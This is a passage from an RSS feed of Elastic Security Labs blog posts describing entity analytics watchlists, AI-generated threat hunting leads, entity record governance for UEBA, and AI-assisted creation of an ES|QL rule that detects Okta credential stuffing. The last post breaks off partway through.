<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-watchlists/image1.png" alt="Risk panel" title="Two‑panel dashboard showing “Employee Extended Leave risk levels” on the left with five risk categories and their numeric ranges, and “Risk contributions” on the right with contexts and alerts for the entity “ronaldostiedemann,” including contribution values, alert dates, rule names, and associated entities." /></p>
<h2>The lists your security program already maintains</h2>
<p>Entity Analytics Watchlists are most powerful when they reflect the real-world risk categories your security, HR, and operations teams already track informally. Here are the most common starting points:</p>
<table>
<thead>
<tr>
<th align="left">🚪  Departing employees On notice, performance improvement plans (PIPs), or offboarding: elevated exfiltration risk, regardless of whether an alert has fired.</th>
<th align="left">🔑  Privileged access users Admins and service account holders whose actions carry outsized blast radius.</th>
<th align="left">👑  Crown jewel hosts Critical infrastructure, IP repositories, and financial systems demanding tighter scrutiny.</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><strong>🤝  Mergers and acquisitions / acquisition cohorts</strong> Newly onboarded entities where trust has not yet been fully established.</td>
<td align="left"><strong>🚀  High-risk business initiatives</strong> Teams in sensitive new ventures, requiring extra monitoring during critical phases.</td>
<td align="left"><strong>🛡️  Known-safe allow lists</strong> Dampen scores for verified low-risk entities, keeping analyst focus where it matters.</td>
</tr>
</tbody>
</table>
<h2>Custom correlation, finally, without the engineering overhead</h2>
<p>Historically, bringing organizational context into a SIEM risk model has required significant custom engineering: lookup tables, enrichment pipelines, detection rule overrides, and constant maintenance as personnel and asset inventories change. For most security teams, that overhead means it simply doesn't get done. We remove that barrier entirely.<br />
An insider threat analyst can create a &quot;Departing Employees&quot; list in minutes, add a risk weighting, and immediately see that context reflected in the entity risk queue. No Elasticsearch Query Language (ES|QL) required. No pipeline configuration. No ticket to the detection engineering team. The organizational knowledge that was previously locked in spreadsheets, HR systems, or informal team awareness is now a first-class signal in the platform.</p>
<p>This is the ability to build risk correlations factors that simply haven't been possible anywhere else in the market and to do it without requiring detection engineering expertise.</p>
<p>For more mature teams, our custom watchlists also integrate cleanly with automated population, meaning that lists can be kept automatically current as conditions change or through APIs. An HR integration that marks an employee as departing can trigger list membership automatically; when they're fully offboarded, they're removed. The signal stays fresh without manual upkeep.</p>
<h2>Coming in Elastic Security v9.4</h2>
<p>Entity Analytics Watchlists ship as a major roadmap item in the upcoming Elastic Security v9.4 release. They’re available to customers running Elastic Security with Entity analytics enabled.</p>
<p>If you're already using entity risk scoring and asset criticality, Entity Analytics Watchlists are the natural next step, layering your organization's operational context on top of the platform's behavioral and alert-based signals to produce the most accurate, prioritized risk picture possible.</p>
<p>We've heard from security teams across industries that this capability is one of the most anticipated additions to the UEBA toolkit. We can't wait to see what lists you build.</p>
<h2>Frequently Asked Questions</h2>
<p><strong>Q: How do I add organizational context to Elastic Security's risk scoring?</strong> A: In Elastic Security v9.4, you can inject organizational context into your risk scoring by utilizing Entity Analytics Watchlists, which allow you to ingest custom lists of high-value entities such as users, hosts, or services and assign them specific risk weightings. These watchlists function as dynamic correlation factors; when an entity on a watchlist appears in an alert, the system automatically compounds its risk score based on your pre-configured weights. This ensures that threats involving your most critical assets are prioritized instantly, transforming raw security data into an outcome-driven investigation queue that reflects your company's unique threat landscape.</p>
<p><strong>Q: How do I monitor high-risk employees in a SIEM without custom detection rules?</strong> A: Elastic Security Watchlists let you add entities like departing employees or privileged admins to a named list with an elevated risk weighting, with no ES|QL or pipeline configuration required. Their list membership is factored into risk scoring automatically alongside any alert activity.</p>
<p><strong>Q: How do insider threat programs integrate with SIEM risk scoring?</strong> A: Elastic Security's Entity Analytics Watchlists let insider threat and security operations teams codify existing risk knowledge — departing employees, privileged access holders, acquisition cohorts — and have that context automatically influence entity risk scores without requiring detection engineering involvement.</p>
<hr />
<p><em>Entity Analytics is available in Elastic Security. <a href="https://www.elastic.co/fr/docs/solutions/security/advanced-entity-analytics/watchlists">Learn more about Entity Analytics Watchlists and how the entity store governs user entities.</a></em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-watchlists/entity-analytics-watchlists.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[AI-generated hunting leads: The hunt starts before you ask the question]]></title>
            <link>https://www.elastic.co/fr/security-labs/proactive-threat-hunting-ai-generated-leads</link>
            <guid>proactive-threat-hunting-ai-generated-leads</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Introducing AI-generated hunting leads, proactive, environment-aware threat hypotheses powered by Elastic Entity analytics and integrated AI reasoning.]]></description>
            <content:encoded><![CDATA[<p>Threat hunting has always been a human art; a practitioner staring at logs, forming a hypothesis, and patiently chasing it down. What if the hardest part of the hunt (knowing where to look) could be done for you, automatically, in milliseconds, and tuned specifically to your environment? This is where AI-generated hunting leads come in, allowing you to shift from reactive alerting to proactive defense with entity-centric, risk-based threat hunting tailored specifically to your environment's unique behavioral patterns.</p>
<h2>The hunting gap no one talks about</h2>
<p>Ask any threat hunter what slows them down, and you'll hear the same answer: it’s not the querying or the pivoting; it's the blank page. The moment before the hypothesis is formed. Most analysts know that somewhere in their telemetry there are patterns that signal compromise, lateral movement, or abuse; they just don’t know where to start.</p>
<p>Modern AI agents have a discovery problem: they’re brilliant at answering questions but useless if you don’t know what to ask. This &quot;curiosity gap&quot; traps security teams in a cycle of reactive hunting. Whether it’s waiting for a vendor threat intelligence report to drop, an alert to scream, or a CISO to grill the team during a QBR, the damage is often already done. While analysts wait for a hypothesis, AI-powered adversaries are moving at machine speed—widening an already dangerous window of opportunity.</p>
<p>The industry has tried to close this gap through detection rules, threat intel feeds, and user and entity behavior analytics (UEBA)  scoring. These are necessary, but they're static frames applied to a dynamic reality. A UEBA anomaly tells you something is unusual. It doesn't tell you why it matters in your environment today.</p>
<h3>The core problem</h3>
<p>Detection rules tell you what to look for that’s very specific. Threat intel tells you what others found. Neither one tells you what your environment is uniquely at risk for right now, because neither one actually knows your environment.</p>
<h2>Building the foundation: The entity store</h2>
<p>Solving the hunting gap required us to first solve a data problem. Hunting leads are only as effective as their context; and in security, context is the sum of everything true about an entity over time.</p>
<p>We built the Elastic entity store as a purpose-built ontology for exactly this. Unlike Elastic Common Schema (ECS), which captures the state of a field at event time, the entity store is a longitudinal record, a living profile of characteristics of every user, host, and service in your environment. It tracks four dimensions that matter for security reasoning:</p>
<pre><code class="language-javascript">// Entity Store Schema — Core Characteristics

entity.attributes // Who/what the entity IS
  mfa_enabled: false // From AWS integration
  privileged_groups: [&quot;Domain Admins&quot;] // From AD
  asset_criticality: &quot;high&quot;

entity.lifecycle // Temporal facts
  first_seen: &quot;2024-09-14T08:22:00Z&quot;
  last_active: &quot;2025-03-31T23:47:00Z&quot;
  dormancy_detected: true // Inactive 47 days, now active

entity.behavior // Anomalous signals (rolling window)
  brute_force_victim: true
  unusual_login_hours: true
  new_geo_access: &quot;DE&quot; // First access from Germany

entity.risk // Scored risk aggregation
  calculated_level: &quot;Critical&quot;
  score: 94.2
</code></pre>
<p>This schema isn’t just storage; it's also a reasoning substrate. Each field represents a signal that, in combination with others, tells a coherent story about an entity's current threat posture. A user who was dormant for 47 days, is now active outside business hours, logged in from a new country, and doesn't have multifactor authentication (MFA) is not just risky in isolation; that combination is a hunting lead.</p>
<h2>Reasoning over entity data</h2>
<p>With the entity store providing rich context, we built <a href="https://www.elastic.co/fr/docs/solutions/security/advanced-entity-analytics">Entity analytics AI-hunting leads</a>. These reasoning modules traverse entity profiles and correlate data across users and hosts to surface patterns that human analysts would find meaningful, if they had the time to look everywhere at once.</p>
<p>These AI-generated hunting leads are automatically surfaced on our Entity analytics home page, ingesting the entity store state to identify combinations that constitute a threat hypothesis. This isn't a simple rule match; it’s a narrative hypothesis grounded in your actual environment.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/proactive-threat-hunting-ai-generated-leads/image1.png" alt="Threat gap" title="Three-step diagram, showing entity store snapshots, cross-entity correlation, and hypothesis generation used to identify potential threat scenarios in an environment." /></p>
<h2>What makes this different</h2>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/proactive-threat-hunting-ai-generated-leads/image2.png" alt="Alert dashboard" title="Dashboard titled Entity Analytics, showing high\‑severity alert cards for DataStore, Slack, and Zoom; entity risk level counts; recent anomaly scores with user listings; and a threat summary panel analyzing an alert volume spike for the DataStore service." /></p>
<p>Proactive hunting assistance tools are emerging across the industry. Many are useful tools, but they share a fundamental constraint: They reason over threat intelligence reported information plus event telemetry, not over accumulated entity knowledge.</p>
<p>The difference matters. A query-based approach can find events that match a pattern. An entity-aware approach can find entities that, given everything we know about them, are likely to be involved in something worth investigating. That's a fundamentally richer signal source, and it's one that gets sharper over time as entity history accumulates for what’s been missing in retrohunt features in modern security information and event management (SIEM).</p>
<h2>Hunting as a continuous discipline</h2>
<p>The promise of proactive security is stopping attackers before they reach their objective. Traditionally, the barrier has been analyst capacity. With the rise of AI-driven attacks, this is becoming an impossible task for humans alone.</p>
<p>Entity analytics AI-generated hunting leads don't replace hunters; they multiply them. A senior analyst no longer spends hours figuring out where to look. Instead, they start their shift with a prioritized set of hypotheses that the AI-generated hunting leads already curated. Their time is preserved for what only humans can do: validation, decision, escalation, and response.</p>
<h2>What's next</h2>
<p>Entity analytics AI-generated hunting leads are the first production expression of a broader capability roadmap: an Elastic Security that doesn't wait for you to ask a question. As Entity analytics matures, with expanded entity types such as tracking AI agents, the reasoning surface expands accordingly.</p>
<hr />
<p><em>Entity analytics is available in Elastic Security. <a href="https://www.elastic.co/fr/docs/solutions/security/advanced-entity-analytics/overview">Learn more about advanced entity analytics, AI-hunting leads and how the entity store governs user entities.</a></em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/proactive-threat-hunting-ai-generated-leads/proactive-threat-hunting-ai-generated-leads.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Your UEBA is lying to you: Why entity record quality decides everything]]></title>
            <link>https://www.elastic.co/fr/security-labs/ueba-entity-record-quality-analytics</link>
            <guid>ueba-entity-record-quality-analytics</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Most entity analytics systems are confidently wrong. They track users who do not exist, generate risk scores built on noise, and call it behavioral analytics. Learn why the entities records you don't create matter as much as the ones you do and how a confidence-tiered model changes the game.]]></description>
            <content:encoded><![CDATA[<p>There's an uncomfortable truth in security analytics that nobody talks about at conferences: The quality of your detections, alerts, and investigations is only as good as the entity records that represent the users, hosts, and services in your environment.</p>
<p>Not the machine learning models. Not the anomaly detection algorithms. Not the risk scoring engine. The <em>entities</em>: the foundations to teach your system about the data and protect it.</p>
<p>Get the entities wrong, and everything downstream is contaminated, including AI. Your baselines are fiction. Your risk scores are noise. Your analysts are chasing ghosts. And the worst part? Most user and entity behavior analytics (UEBA) implementations get the entities wrong from day one. This blog explains why the entities you <em>don't</em> create matter and how a confidence-tiered model helps.</p>
<p>A note on terminology before we go further: in this piece we’ll distinguish between the real-world thing — a person, a host, a service — and the entity record Elastic Security creates to represent it. The argument that follows is about which records are worth creating, not about which things exist. We’ll use “entity record” when the distinction matters.</p>
<h2>One username, hundreds of identities</h2>
<p>Consider the simplest possible approach to creating a user entity record: Take a <code>user.name</code> field from an event log and call it an entity. A username like <code>deploy</code> appears in your telemetry, so you create a <code>deploy</code> entity record and start building a behavioral baseline.</p>
<p>The problem is immediate and severe. That <code>deploy</code> username might exist on 200 servers. It might be used by 12 engineers and a continuous integration and continuous deployment (CI/CD) pipeline. The behavioral baseline you're building is a smoothie blended from hundreds of different machines, used by different people, for completely different purposes. The system is treating a string match as an identity, barely one step above random.</p>
<p>When this entity record inevitably generates elevated risk scores, analysts investigate, only to discover that the &quot;anomaly&quot; was just a different engineer using the same shared account in a slightly different way. Multiply this across every common username in a large environment and you've built a system that generates investigative busywork at industrial scale.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/risk-table.png" alt="" /></p>
<p>The opposite mistake: An empty dashboard</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/risk-dashboard.png" alt="" /></p>
<p>Some security vendors recognize the problem and swing to the other extreme. They decide (correctly, in principle) that only identity-provider-backed entity records are trustworthy enough for behavioral analytics. If you can't tie an entity record to an authoritative account in a directory like Okta, Entra ID, or Active Directory, don't create one at all.</p>
<p>The engineering reasoning is defensible. The product experience is catastrophic.</p>
<p>A customer rolls out endpoint agents across their fleet, opens the security analytics dashboard, and sees nothing. Zero entities. The feature looks broken. The SOC analyst has no idea why no users are showing up, and worse, has no visibility into the activity happening on those endpoints right now. A purist entity data model has produced a blind spot. </p>
<h2>The missing middle: Host-scoped identity</h2>
<p>Most vendors building UEBA have historically picked between two unsatisfying defaults, bare usernames that blend everyone into noise, or IdP-only entities that leave most deployments with nothing. But without explicit governance over which signals come from which source, the noise still leaks through.What's missing is a middle layer: entities derived from endpoint telemetry that are tightly scoped enough to be meaningful but carefully governed enough to avoid the noise problem.</p>
<p>The instinct might be to simply pair a username with a host and call it an entity record. But without guardrails, this just moves the noise problem down one level. <code>deploy</code> on <code>prod-web-03</code> is still five engineers' blended activity. <code>root</code> on a shared bastion host is still everyone and no one. You've reduced the blast radius from &quot;all servers&quot; to &quot;one server,&quot; but the behavioral baseline is still a fiction if the underlying account is shared, automated, or observed only through a failed brute-force attempt that never actually succeeded.</p>
<p>The real question isn't whether to create local host-scoped entity records. It's <em>which</em> host-scoped entity records are worth creating and with what governance over how they participate in risk scoring and identity resolution downstream.</p>
<h2>The Elastic approach: Two kinds of entities, governed differently</h2>
<p>One answer is to recognize that not all record sources are equal and to build that distinction into the architecture itself, governing how each record is created, enriched, scored, and resolved.</p>
<p>This is the approach Elastic Security takes. Instead of treating all entity records as interchangeable, the system draws a clear line between <strong>identity-provider-backed entities</strong> and <strong>endpoint-observed local host entities</strong> and governs each category differently under the hood.</p>
<p><strong>Identity-provider-backed entities</strong> are created only by authoritative identity systems: Okta, Entra ID, Google Workspace, Active Directory, and other identity-provider namespaces across identity and access management (IAM), cloud platforms, software as a service (SaaS), and privileged access management (PAM) systems. These entity records represent verified accounts in systems that own and manage those accounts. They get the full analytical treatment, that is, rich behavioral baselines, cross-platform enrichment from 120+ security integrations, and full participation in person-level risk scoring.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/entity-panel.png" alt="" /></p>
<p><strong>Endpoint-observed entities</strong> are created from endpoint telemetry: Your endpoint detection and response (EDR) agent observes <code>jdoe</code> active on a specific host and creates a host-scoped entity record tied to that local machine. These entity records are real and useful, but the system knows they carry less identity certainty, and it governs them accordingly. </p>
<p>Analysts don't need to think about any of this machinery. What they see is an entity store that's populated from day one with more accurate user entity records. The governance happens in the architecture so it doesn't have to happen in the analyst's head.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/entities.png" alt="" /></p>
<p>(An endpoint-observed entity for sarah.chen active on her corporate MacBook. The entity name (sarah.chen@CORP-MAC-SC-2024) uses the human-readable hostname for readability. The entity ID (user:sarah.chen@b92f1e3a-7d4c-4a8b-9f2e-1c3d5e7f9012@local) uses the machine's hardware UUID instead of its hostname — this is intentional. Hostnames change when a device is renamed or reimaged; the hardware UUID is permanent. The @local suffix identifies this as an endpoint-observed entity: it represents sarah.chen's activity on this specific machine, not sarah.chen as a verified identity across your organization.)</p>
<h2>From fragmented accounts to a Unified User Group. </h2>
<p>Even when you get entity record creation right, you’re still left with a fragmentation problem no amount of per-entity discipline can solve alone.</p>
<p>Consider John Doe in a large enterprise. He has an Okta account for SaaS access, an Entra ID account tied to his corporate laptop, and an Active Directory account for on-prem systems. Each is a legitimate, authoritative entity record by every standard described above, and yet they’re three separate records for the same human being, each with its own risk history, each generating signals in isolation.</p>
<p>When John’s Entra account shows a lateral movement indicator the same day his Okta account flags a suspicious login from an anomalous location, those signals may never connect. They exist as separate entities, investigated in isolation, by analysts who have no automated way to know they belong to the same person. The cross-surface campaign that entity analytics is supposed to catch hides in plain sight between identity providers.</p>
<p>Elastic Security solves this through automatic entity resolution: consolidating a user’s fragmented digital footprint across Okta, Entra ID, Active Directory, and more into a single unified identity. John Doe becomes a first-class citizen in the entity store: one primary record, all associated accounts grouped together, one aggregated risk score that reflects everything happening across every identity surface he touches. Resolution runs continuously as new integrations come online, without manual curation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/entity-sources.png" alt="" /></p>
<p>In the image above, we've created one entity record per user account and grouped them together, so when an analyst reviews the record, all related identities appear in one place.</p>
<h2>What this changes for analysts</h2>
<p>For the security operations center (SOC) analyst working a 2 a.m. alerted by their Elastic agentic workflow, these two architectural decisions (confidence-tiered entity governance and unified identity resolution) change the investigation fundamentally.</p>
<p>Instead of opening four separate entity cards for the same person, they open one. Cross-provider risk signals are aggregated into a single score, and attack narratives that span identity systems are visible as narratives, not as disconnected data points buried in separate views.</p>
<p>Compare this to investigating a bare deploy entity record with a risk score of 70 that’s actually an artifact of 12 people’s blended activity across 200 servers. One investigation leads somewhere. The other erodes trust in the entire capability, which is the real cost of noisy entity records. Not just the false positive itself, but the analyst who learns to ignore entity risk scores entirely.</p>
<h2>The entities records you don't create</h2>
<p>Perhaps the most underappreciated aspect of entity analytics design is restraint. Every entity record you create has a cost: Compute for baselining, storage for history, analyst attention when it generates alerts, and potential for noise propagation into the broader analytical model.</p>
<p>The discipline to <em>not</em> create an entity record (to require a minimum evidence threshold) is what separates an entity analytics system that gets more useful over time from one that slowly drowns its operators in noise.</p>
<p>In practice, this means maintaining a configurable exclusion list for common service and shared accounts: <em>root</em>, <em>jenkins</em>, <em>deploy</em>, <em>postgres</em>, and others like them. These accounts exist on hundreds of machines, are used by automated processes and multiple humans interchangeably, and would produce baselines that mean nothing. Elastic Security ships a default list covering the most common offenders. Today the list operates at the username level — root is excluded uniformly regardless of which host it appears on — and is fixed. Future iterations will make it configurable, letting teams add their own environment-specific service accounts and, eventually, specify compound patterns that combine username and host. That would allow excluding root globally on shared infrastructure while still creating a host-scoped entity when that account appears on a personal workstation where the activity is attributable to a specific person. The architecture is already built for it: because endpoint-observed entities are keyed as <code>{user.name}@{host}</code>, compound rules are a coherent extension, not a redesign.</p>
<p>The higher-fidelity approach we've described directly mitigates the broader noise problem. When entity records are created from any username string in a log, your ML models end up baselining service accounts, typo'd logins, and shared kiosk accounts as if they were people — a 2 a.m. backup job looks anomalous against a human baseline, and a one-event typo'd login never accumulates enough data to baseline at all. When entity records are anchored to authoritative identity sources and resolved across their various login forms, the model learns patterns for actual humans doing actual work. Anomalies become meaningful because the baseline is meaningful.</p>
<p>The best entity analytics isn't the one that creates the most entities. It's the one that creates the <em>right</em> entities, governs them by what it actually knows about their source and scope, and builds its analytical investment proportionally. Everything else (risk scoring, behavioral baselines, entity resolution, anomaly detection, and AI skills) is downstream of that foundational decision. Get the entity records right, and the analytics follow. Get them wrong, and no amount of machine learning or AI can save you.</p>
<p><em>Entity analytics is available in Elastic Security.</em><a href="https://www.elastic.co/fr/docs/solutions/security/advanced-entity-analytics/entity-store"> <em>Learn more about advanced entity analytics and how the entity store governs user entities.</em></a></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/header.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[From plain English to production rule: AI-native Elasticsearch ES|QL detection in Elastic Security]]></title>
            <link>https://www.elastic.co/fr/security-labs/ai-esql-detection-rule-creation</link>
            <guid>ai-esql-detection-rule-creation</guid>
            <pubDate>Mon, 04 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security now lets analysts describe a threat behavior in plain language and receive a complete, validated Elasticsearch ES|QL detection rule in return, no query expertise required.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security now includes AI-powered detection rule creation, built into the rule creation workflow. Analysts describe a threat behavior in plain English and receive a complete, validated Elasticsearch Query Language (ES|QL) rule in return, with MITRE ATT&amp;CK mappings, severity recommendations, and a preview against live data, all without leaving the platform or writing a single line of query syntax. This post walks through exactly how that works using an Okta credential stuffing and account takeover scenario as the example.</p>
<h2>Why detection engineering needs AI-native tooling</h2>
<p>The threat landscape has changed. Attackers are increasingly using AI to automate and scale their operations: generating <a href="https://hoxhunt.com/guide/phishing-trends-report">phishing campaigns at volume</a>, accelerating <a href="https://www.rapid7.com/blog/post/tr-accelerating-attack-cycle-2026-global-threat-landscape-report/">vulnerability research and exploitation</a>, and launching credential attacks that would have required significant manual effort just a few years ago. The result is a faster, higher-volume threat environment where the window between a new attack pattern emerging and it hitting your environment is narrowing.</p>
<p>Detection engineering teams are on the other side of that equation. The expectation is that coverage keeps pace with the threat, but the tooling available to write, test, and deploy rules hasn’t historically matched the speed at which new attack patterns appear. Writing an effective detection rule from scratch requires deep familiarity with the query language, the field schema, and the aggregation logic needed to express the behavior you are trying to catch, before you even begin thinking about the threat itself. For most security teams, that friction means a growing backlog and gaps in coverage that attackers can exploit.</p>
<p>Arming detection engineers with native, AI-powered tooling isn’t just about convenience; it’s also about keeping pace with an adversary that’s already using AI to move faster. Elastic Security is now adding AI rule creation, powered by the <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/elastic-agent-builder">Elastic Agent Builder</a>. Unlike external AI tooling or stand-alone code generation workflows, this capability is built into the detection engineering experience: The rule is created and validated, with results preview generated entirely within your platform, against your own data, without leaving Elastic Security. Analysts can now describe what they want to detect in natural language and receive a complete, ready-to-review ES|QL rule in return, without leaving the rule creation workflow. This capability is available at the Enterprise license tier.</p>
<p>Support for ES|QL rule creation is available now. Additional rule types are on the roadmap, so keep an eye on upcoming releases as these capabilities expand.</p>
<h2>Detections without the heavy lifting</h2>
<p><a href="https://www.elastic.co/fr/guide/en/elasticsearch/reference/current/esql-language.html">ES|QL</a>, Elastic's pipeline query language, is very helpful for behavioral and aggregation-based detections. Its pipe-based syntax makes it natural to express the kind of &quot;filter, count, group by, threshold&quot; logic that underlies most modern detections: How many failed logins came from this IP? Which accounts were targeted? Does this count exceed the expected baseline?</p>
<p>That same expressiveness is also what makes ES|QL harder to write by hand than a simple field-match query. You need to think in terms of pipelines: Filter first with <code>WHERE</code>, aggregate with <code>STATS...BY</code> , and then filter again on the computed values. It requires knowing the right Elastic Common Schema (ECS) field names, the correct function syntax, and how the pipeline stages interact. This is exactly the kind of structured, pattern-based logic that AI can translate reliably from a plain English description.</p>
<p>With the new detection engineering <a href="https://www.elastic.co/fr/security-labs/skills-elastic-security-9-4">skills</a> and the knowledge of Elastic documentation, ECS field definitions, and local data access, the <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/agent-builder/builtin-agents-reference">Elastic AI Agent </a>uses detection engineering best practices to come up with the rule, and moreover, the generated rule query is validated before it’s returned: What you see in the editor will run.</p>
<h2>Walkthrough: Detecting Okta credential stuffing and account takeover</h2>
<p>A credential stuffing attack that succeeds in breaching an account doesn’t stop at the login. The full attack chain (multifactor authentication [MFA] bypass, session establishment, privilege escalation, and policy modification) leaves a distinct footprint across Okta system logs if you know what to correlate. This is exactly the kind of multistage behavioral pattern that ES|QL handles well: Collect all the relevant event types, classify each one, aggregate by the shared identity attributes, and then apply threshold logic that requires the full sequence to be present before alerting.</p>
<p>Writing that query manually means knowing the Okta-specific <a href="https://developer.okta.com/docs/reference/api/event-types/">event action names</a>, knowing how to use <code>EVAL</code> with <code>CASE</code> to create per-event type flags, and how to then aggregate those flags with <code>SUM</code> to count each stage independently. It’s a realistic but nontrivial query, exactly the kind that benefits most from AI generation.</p>
<p>Imagine your team has<a href="https://www.elastic.co/fr/docs/reference/integrations/okta"> an Okta integration</a> and logs are coming in. Threat intelligence has flagged an active campaign targeting Okta tenants: automated credential stuffing followed by MFA fatigue and post-compromise privilege changes. You need detection coverage today. </p>
<p>Note: We’re skipping the step of checking whether prebuilt detection rules exist or are already enabled, for the simplicity of the scenario here.</p>
<h3>Opening the AI Agent rule creation flow</h3>
<p>From the Elastic Security sidebar, navigate to <strong>Detection rules</strong> and click <strong>Create a rule -&gt; AI rule creation</strong>. </p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-creation.png" alt="New AI rule creation option" title="A screenshot of the Elastic Security detection rules page showing options to create a rule, including AI rule creation and manual rule creation, along with navigation tabs for installed rules, rule monitoring, and rule updates." /></p>
<h3>Describing the detection in plain language</h3>
<p>No special syntax is required. Describe the full attack chain the way you would explain it to a colleague, including the data source and the specific event sequence you want to match:</p>
<p>Analyst prompt:</p>
<p><code>In Okta, detect when the same user and source IP shows: three or more failed logins due to bad credentials, at least one MFA failure, then a successful login, and then either a privilege grant or a policy update. That full sequence together is a credential stuffing attack that succeeded.</code></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/threat-agent.png" alt="AI Agent panel open with the rule creation prompt." title="A screenshot of Elastic Security showing installed Okta credential‑stuffing detection rules on the left and a Threat Hunting Agent chat panel on the right with a prompt describing the sequence of events that should trigger a credential‑stuffing detection rule." /></p>
<p>The AI Agent processes this against its knowledge base, including Okta integration field mappings and ECS conventions, and executes multiple steps that we can follow and review:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-reasoning.png" alt="AI Agent panel open showing the agent reasoning steps." title="A screenshot of Elastic Security showing a list of Okta credential‑stuffing detection rules on the left and a detailed reasoning panel on the right that outlines the steps taken by an AI agent to generate an ES|QL detection rule, including reading files, generating the query, creating the rule name and description, and selecting tags." /></p>
<p>And then it returns a complete ES|QL rule that covers the full attack sequence described.</p>
<h3>Reviewing and adjusting the generated rule logic</h3>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-panel.png" alt="Resulting rule in the AI Agent panel and button to apply." title="A screenshot of an Elastic Security panel showing the completed ES|QL detection rule for an Okta credential‑stuffing attack, including the rule description, detection logic, tags, severity, risk score, interval, and lookback time, with a button to apply the rule." /></p>
<p>There’s a lot happening in this rule’s query, and it’s worth understanding each stage, because the structure itself tells the story of the attack chain.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/query-preview.png" alt="Expanded generated ES|QL rule query preview." title="A screenshot showing an expanded ES|QL query preview for an Okta credential‑stuffing detection rule, displaying the full query with counts for failed logins, MFA failures, successful logins, and post‑compromise events, along with the final filtered and kept fields." /></p>
<p>The query is concise by design: It uses ES|QL's inline <code>WHERE</code> filtering inside <code>COUNT()</code> to compute each stage of the attack chain in a single <code>STATS</code> pass, without needing a separate <code>EVAL</code> block. Here’s what each part does:</p>
<p><code>FROM logs-okta*</code> scopes the query to all Okta log indices, using a wildcard that picks up <code>logs-okta.system-*</code> and any other Okta data streams in the environment.</p>
<p>The <code>STATS</code> block is the core of the detection. It aggregates all Okta activity and computes four counters per unique combination of <code>user.name</code> and <code>source.ip</code>, one for each stage of the attack chain. <code>failed_logins</code> counts <code>user.session.start</code> events with <code>outcome: failure</code> (the password spray attempts). <code>mfa_failures</code>counts failed MFA challenges, indicating the attacker encountered a second factor and attempted to push through it.</p>
<p><code>successful_logins</code> counts <code>user.session.start</code> events with <code>outcome: success</code>; a value of one or more means the attacker got in. <code>post_compromise_events</code> counts any of six actions that indicate the attacker is acting on their objective after login: adding the account to a group, granting application access, escalating privileges, modifying a policy lifecycle, updating a policy rule, or changing the account profile. This is a broad net that covers the full range of post-compromise behavior seen in Okta account takeover incidents.</p>
<p>The <code>WHERE</code> clause after the aggregation requires all four conditions to be true simultaneously before a row becomes an alert. This is what makes the rule high-fidelity. A user who forgot their password and eventually logged in won’t match because they’ll have no post-compromise events. An attacker who got through but took no further action won’t match either. All four stages must be present.</p>
<p>The <code>KEEP</code> statement trims the output to the six fields that matter for triage (the targeted account, the source IP, and the count for each stage), giving the responding analyst everything they need to start an investigation without querying the raw logs first.</p>
<p>Along with the query, the AI Agent generates the following rule metadata: rule name, description, severity and risk score recommendations, MITRE ATT&amp;CK technique and tactic mapping (T1110.004 Credential Stuffing, T1078 Valid Accounts, ), execution schedule, and tags. Where other rules exist, the AI Agent also reuses relevant tags from those rules, so new custom rules stay consistent with your existing detection library from the start. The data source is selected from indexes available in the system, or data ingestion is suggested. The rule fields are editable with an AI Agent before or after filling the resulting rule information in the rule creation form.</p>
<p><strong>Tip:</strong> You can also ask the AI Agent to explain an existing rule query, suggest threshold adjustments based on a description of your environment, or help troubleshoot unexpected results.</p>
<p>Let’s keep working on the rule to adjust a few things. We want to ensure the rule detects credential stuffing and not other failure reasons, like expired passwords or locked accounts. We want to ensure the attack sequence is preserved.</p>
<p>Using AI Agent, we’ll ask it to fix these few things. It comes back with the adjusted query and summarizes what it did.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/logic-refinement.png" alt="AI Agent panel with additional refinement prompt and results." title="A screenshot of an Elastic Security rule editor showing an ES|QL rule definition on the left and an AI Agent panel on the right that provides additional refinement guidance for credential‑stuffing detection logic, including explanations of filtering failed logins and improving event specificity." /></p>
<p>We now apply the changes to the rule form from the AI Agent chat:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ai-esql-detection-rule-creation/rule-changes.png" alt="AI Agent panel with summary of suggested rule changes." title="A screenshot of an AI Agent panel summarizing suggested updates to an Okta credential‑stuffing detection rule, including filters for invalid‑credential failures and a four‑stage ordered sequence for failure, MFA failure, successful login, and post‑compromise activity." /></p>
<h3>Previewing and enabling the rule</h3>
